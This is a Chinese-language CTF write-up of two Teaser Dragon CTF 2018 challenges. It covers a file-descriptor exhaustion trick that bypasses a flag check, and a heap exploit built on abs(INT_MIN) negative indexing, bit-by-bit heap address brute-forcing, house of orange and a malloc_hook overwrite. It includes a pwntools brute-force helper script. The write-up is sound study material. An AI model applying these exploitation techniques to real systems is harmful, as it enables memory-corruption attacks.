Teaser Dragon CTF 2018

Production

这题据说是远程没有启用assert,导致文件没有close。但我当时没看出来,现在平台关闭了也试不了了TAT,就看了些大佬(Ne0dcua )的wp,了解这个漏洞是怎么用的。duca的wp更细一点,两者结合更容易理解。

相关知识

关于assert

DESCRIPTION If the macro NDEBUG was defined at the moment was last included, the macro assert() generates no code, and hence does nothing at all. Otherwise, the macro assert() prints an error message to standard error and terminates the program by calling abort(3) if expression is false (i.e., compares equal to zero).

如果assert.h中包含了宏NDEBUG,assert将不生成代码,不执行任何操作;否则当assert中的条件不满足时,assert会输出错误并终止程序。

也就是说,如果远程assert.h中有NDEBUG,那么在read_lyrics中的关闭文件操作就不会执行:

1
2
3
4
5
6
7
8
9
if (strstr(buffer, "DrgnS")) {
printf("[-] Attack detected and stopped!\n");

assert(close(globals::records[idx]) == 0);
memmove(&globals::records[idx], &globals::records[idx + 1],
(globals::records.size() - idx - 1) * sizeof(int));
globals::records.pop_back();
return true;
}

memmove通过数组的前移实现删除,因此当读到的内容包含“DrgnS”时,只会在数组中删除元素,但文件仍处于打开状态,即fd的数量没有减少。

关于setrlimit

程序进行了一些限制,其中就包含能够打开文件描述符的最大值:

1
2
rlim.rlim_cur = rlim.rlim_max = 32;
setrlimit(RLIMIT_NOFILE, &rlim);

打开的文件个数超过32个时,再通过open打开文件就会失败。观察open_lyrics的检查顺序,有两个用到open的操作位于flag之前,因此可以通过这一操作绕过flag的读取。

另外,程序中限制输入的band或者song中不能包含“../”,但是可以输入“..”绕过。

利用方法

参考Ne0大佬 的思路。

  1. 在lyrics二进制文件中有“DrgnS”字符串,因此打开16次该文件(./data/../lyrics),然后读取内容,每次都读到“DrgnS”处,此时fd为18(包含0,1,2标准的输入输出),而record数组因为memmove,元素都被删除了,size为0。
  2. 打开12个任意的文件,此时fd为30.
  3. open_lyrics ./data/../flag,在read_lyrics先是检查path是否为一个文件时,open文件,这时fd1为31,文件描述符有32个,把文件放入数组后,又检查path是否为链接文件,再次open,这时fd2=-1,并返回true。由此绕过了flag的检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Open the path, make sure that it's a file (and not e.g. directory), and
// save the file descriptor.
int fd1 = open(path, O_RDONLY);
if (fd1 == -1) {
return false;
}

struct stat st;
if (fstat(fd1, &st) != 0 || !S_ISREG(st.st_mode)) {
return false;
}

globals::records.push_back(fd1);

// Better safe then sorry. Make sure that the path also doesn't point to a
// symbolic link.
int fd2 = open(path, O_RDONLY | O_NOFOLLOW);
if (fd2 == -1) {
printf("[-] Detected attempt to open a symbolic link!\n");

// Some kind of attack detected?
return true;
}
close(fd2);

// Extra check to protect the flag.
if (strstr(path, "flag") != NULL) {
printf("[-] Not today\n");

close(globals::records.back());
globals::records.pop_back();
return false;
}
  1. 由于flag中也包含“DrgnS”字符串,因此无法直接打印出来。read_line_buffered中,如果读到文件结尾处会返回0,buffer中的内容不会改变。并且如果连续调用read_line_buffered时,buffer在栈上的地址保持不变,内容也就不变。因此可以先对某个文件读到结尾,再读flag,再返回读那个文件,buffer中就会保持flag中的内容。

Fast Storage

这题用到了一个奇怪的点:abs(0x80000000)==0x80000000。从开始看大佬的wp到自己捋顺一共花了两天时间ORZ。

基本逻辑

add,print和edit功能。

add函数输入name、size和value,并对size和value地址做简单的处理后一起存放。题目中实现了一个类似于哈希表的简单结构:对name进行哈希作为索引,出现碰撞后用next字段链接起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
_DWORD *__fastcall add(__int64 a1, __int64 a2)
{
int v2; // eax@1
size_t v3; // rbx@7
int v4; // eax@7
char *name; // rax@9
size_t size; // [sp+8h] [bp-128h]@1
char buf; // [sp+10h] [bp-120h]@1
char v9; // [sp+10Fh] [bp-21h]@3
void *value_addr; // [sp+110h] [bp-20h]@1
__int64 v11; // [sp+118h] [bp-18h]@1

memset(&buf, 0, 0x100uLL);
v11 = 0LL;
size = 0LL;
value_addr = 0LL;
printf("Name: ", a2, &buf);
v2 = fileno(stdin);
v11 = read(v2, &buf, 0x100uLL);
if ( v11 <= 0 )
ouch();
v9 = 0;
printf("Size: ", &buf);
_isoc99_scanf("%lu", &size);
fgetc(stdin);
if ( size > 0x400 )
ouch();
value_addr = malloc(size);
if ( !value_addr )
ouch();
printf("Value: ", &size);
v3 = size;
v4 = fileno(stdin);
v11 = read(v4, value_addr, v3);
if ( v11 <= 0 )
ouch();
value_addr = (void *)((size << 48) | (unsigned __int64)value_addr);
name = strdup(&buf);
return insert_item((__int64)name, (__int64)value_addr);
}

其种insert_item函数是对name作一些运算并进行插入操作。我用的IDA6.8版本的就看不出来用了abs函数(当然即使看出来也不觉得有问题),据说7.0的可以直接显示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_DWORD *__fastcall insert_item(__int64 name, __int64 content)
{
signed int v2; // ST1C_4@1
int v3; // ST18_4@1
int v4; // ST14_4@1
int idx; // ST1C_4@1

v2 = h1((_BYTE *)name);
v3 = h2(name);
v4 = h3((_BYTE *)name);
idx = ((v2 ^ (v2 >> 31)) - (v2 >> 31)) % 62; // abs
insert_idx(idx, name, content);
return set_hash_bits(idx, v3, v4);
}

通过insert_idx函数了解到哈希链表结点的结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *__fastcall insert_idx(int idx, __int64 name, __int64 content)
{
_QWORD *result; // rax@3
__int64 v4; // [sp+8h] [bp-28h]@1
_QWORD *v5; // [sp+28h] [bp-8h]@1

v4 = content;
v5 = malloc(0x18uLL);
if ( !v5 )
ouch();
v5[1] = name;
v5[2] = v4;
*v5 = entry[idx];
result = entry;
entry[idx] = v5;
return result;
}


struct node{
struct node * next;
char * name;
char * value;
};

set_hash_bits函数用位运算记录h2和h3的结果:

1
2
3
4
5
6
7
8
_DWORD *__fastcall set_hash_bits(int idx, char a2, char a3)
{
_DWORD *result; // rax@1

result = bits;
bits[idx] |= (1 << a2) | (1 << a3);
return result;
}

print和edit都是通过name定位到结点,输出或修改value的值。

find_by_name函数中同样用到了h1,h2,h3函数,并在遍历链表前先对bits[idx]进行检查,查看bits[idx]是否有对应的几个bit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
signed __int64 __fastcall find(__int64 a1, __int64 a2)
{
int v2; // eax@1
signed __int64 result; // rax@4
unsigned __int64 *size; // [sp+0h] [bp-120h]@1
__int64 *content_addr; // [sp+8h] [bp-118h]@1
char name; // [sp+10h] [bp-110h]@1
char v7; // [sp+10Fh] [bp-11h]@3
unsigned __int64 v8; // [sp+110h] [bp-10h]@1
__int64 v9; // [sp+118h] [bp-8h]@1

memset(&name, 0, 0x100uLL);
v9 = 0LL;
v8 = 0LL;
printf("Name: ", a2, a2, a1);
v2 = fileno(stdin);
v9 = read(v2, &name, 0x100uLL);
if ( v9 <= 0 )
ouch();
v7 = 0;
v8 = find_by_name(&name);
if ( v8 )
{
*size = v8 >> 0x30;
*content_addr = v8 & 0xFFFFFFFFFFFFLL;
result = 1LL;
}
else
{
result = 0LL;
}
return result;
}

__int64 __fastcall find_by_name(char *name)
{
signed int v1; // ST24_4@1
int v2; // ST20_4@1
char v3; // al@1
__int64 result; // rax@2
int idx; // [sp+24h] [bp-Ch]@1
__int64 i; // [sp+28h] [bp-8h]@3

v1 = h1(name);
v2 = h2((__int64)name);
v3 = h3(name);
idx = ((v1 ^ (v1 >> 31)) - (v1 >> 31)) % 62; //abs
if ( (unsigned int)check(idx, v2, v3) )
{
for ( i = entry[idx]; i && strcmp(*(const char **)(i + 8), name); i = *(_QWORD *)i )
;
result = *(_QWORD *)(i + 16);
}
else
{
result = 0LL;
}
return result;
}


__int64 __fastcall check(int idx, char a2, char a3)
{
return (((1 << a2) | (1 << a3)) & bits[idx]) == ((1 << a2) | (1 << a3));
}

bugs

大佬们究竟是怎么想到的??

abs(0x80000000)==0x80000000。验证一下:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<math.h>
#include<stdlib.h>
int main()
{
int a = 0x80000000;
printf("%d\n",a);
printf("%#x\n",a^(a>>31)-a>>31);
printf("%#x\n",abs(a));
}

输出结果:

1
2
3
4
./test
-2147483648
0x80000000
0x80000000

如果h1(name)为0x80000000,idx = abs(0x80000000)%62=-2,在insert_idx时进行entry[idx] = node_addr时,实际上是对entry之前的数据进行操作。查看bss结构,entry[-2]即为bits[60]。

1
2
3
4
5
6
.bss:0000000000202040 ; _DWORD bits[64]
.bss:0000000000202040 bits dd 40h dup(?) ; DATA XREF: set_hash_bits+Do
.bss:0000000000202040 ; set_hash_bits+3Do ...
.bss:0000000000202140 ; _QWORD entry[62]
.bss:0000000000202140 entry dq 3Eh dup(?) ; DATA XREF: insert_idx+4Ao
.bss:0000000000202140

漏洞利用

当输入特定的name时,会在entry[-2]即bits[60]写入堆地址,而在find_by_name中的check会对bits[60]进行检查,确定是否有某一bit,检查失败会返回”No such entry! “,利用这一点可以对bits[60]中的堆地址进行逐位泄露,方法是暴力破解。

另外,在新增结点时,bit[idx]|=1<<a2|1<<a3,通过操作a2和a3能够修改bit[idx]中的内容,即如果能够修改bit[60]中的堆地址,就相当于修改了entry[-2]的首个结点地址,控制这个堆地址中存放满足条件的name,就能泄露或者修改指定的value值。

  1. 确定特定的name,使得h1(name)为0x80000000。采用暴力破解的方法。
  2. bit by bit 泄露堆地址,同样也是暴力破解。首先破解特定name满足:h2(name)==h3(name) && abs(h1(name))%62==60(和61),这样当a2=a3时,1<<a2|1<<a3就相当于1<<a2,这样就能逐位暴破堆地址了。由于bits数组是DWORD类型的,因此堆地址存放在bits[60]和bits[61]中。Linux系统中规定堆地址为6字节,且最高字节为5x,并且最低1.5字节(12bit)都是从000开始的,因此只需要破解中间的4字节即可。
  3. 泄露libc地址。采用的方法是house of orange,修改top的size,得到一个unsorted bin后泄露libc地址。修改top size的方法正如前面所述,先通过位异或修改bit[60]中的堆地址为我们构造好的地址,这个地址作为entry[-2]的首个结点,构造name满足条件,value为top size处的地址,即可通过edit修改top size。这里需要注意的是,修改后的top size需要满足 top end是页对齐的(参考sysmalloc的源码
  4. 修改malloc_hook为one_gadget,方法同上。

利用脚本

脚本我是参考EmpireCTF队伍的wp,这里就只附上暴破的简单脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
def h1(s):
result = 4919;
for c in s:
result = result * ord(c)+1
return result
def h2(s):
result = 0
i=0
while i+1<len(s) and s[i] and s[i+1] :
tmp = ord(s[i+1])<<8 | ord(s[i])
result ^= tmp
i+=2
if i<len(s) and s[i]:
result ^= ord(s[i])
return ((result>>10) ^ (result ^ (result >> 5))) &0x1f
def h3(s):
result = 0
for c in s:
for i in range(8):
if (ord(c)>>i)&1:
result+=1;
result&=0x1f;
return result;

#破解h1(name)==0x80000000
def brute1():
for i in range(255,0,-1):
print i
for j in range(0,256):
for k in range(0,256):
for l in range(0,256):
tmp = chr(i)+chr(j)+chr(k)+chr(l)
if h1(tmp)%0x100000000 == 0x80000000:
print tmp
print "%d %d %d %d" %(i,j,k,l)
return
#破解h2(name)==h3(name) && abs(h1(name))%62==60(和61)
#i可以从2字节开始逐步增加到4字节
def brute2():
pos={}
for i in range(0x10000):
tmp=p32(i)[:-2]

a2=h2(tmp)
a3=h3(tmp)

if (abs(h1(tmp))%62)==60 and a2==a3:
if not pos.has_key(a2):
pos[a2]=1
print "%d:%#x" %(a2,u32(tmp.ljust(4,'\x00')))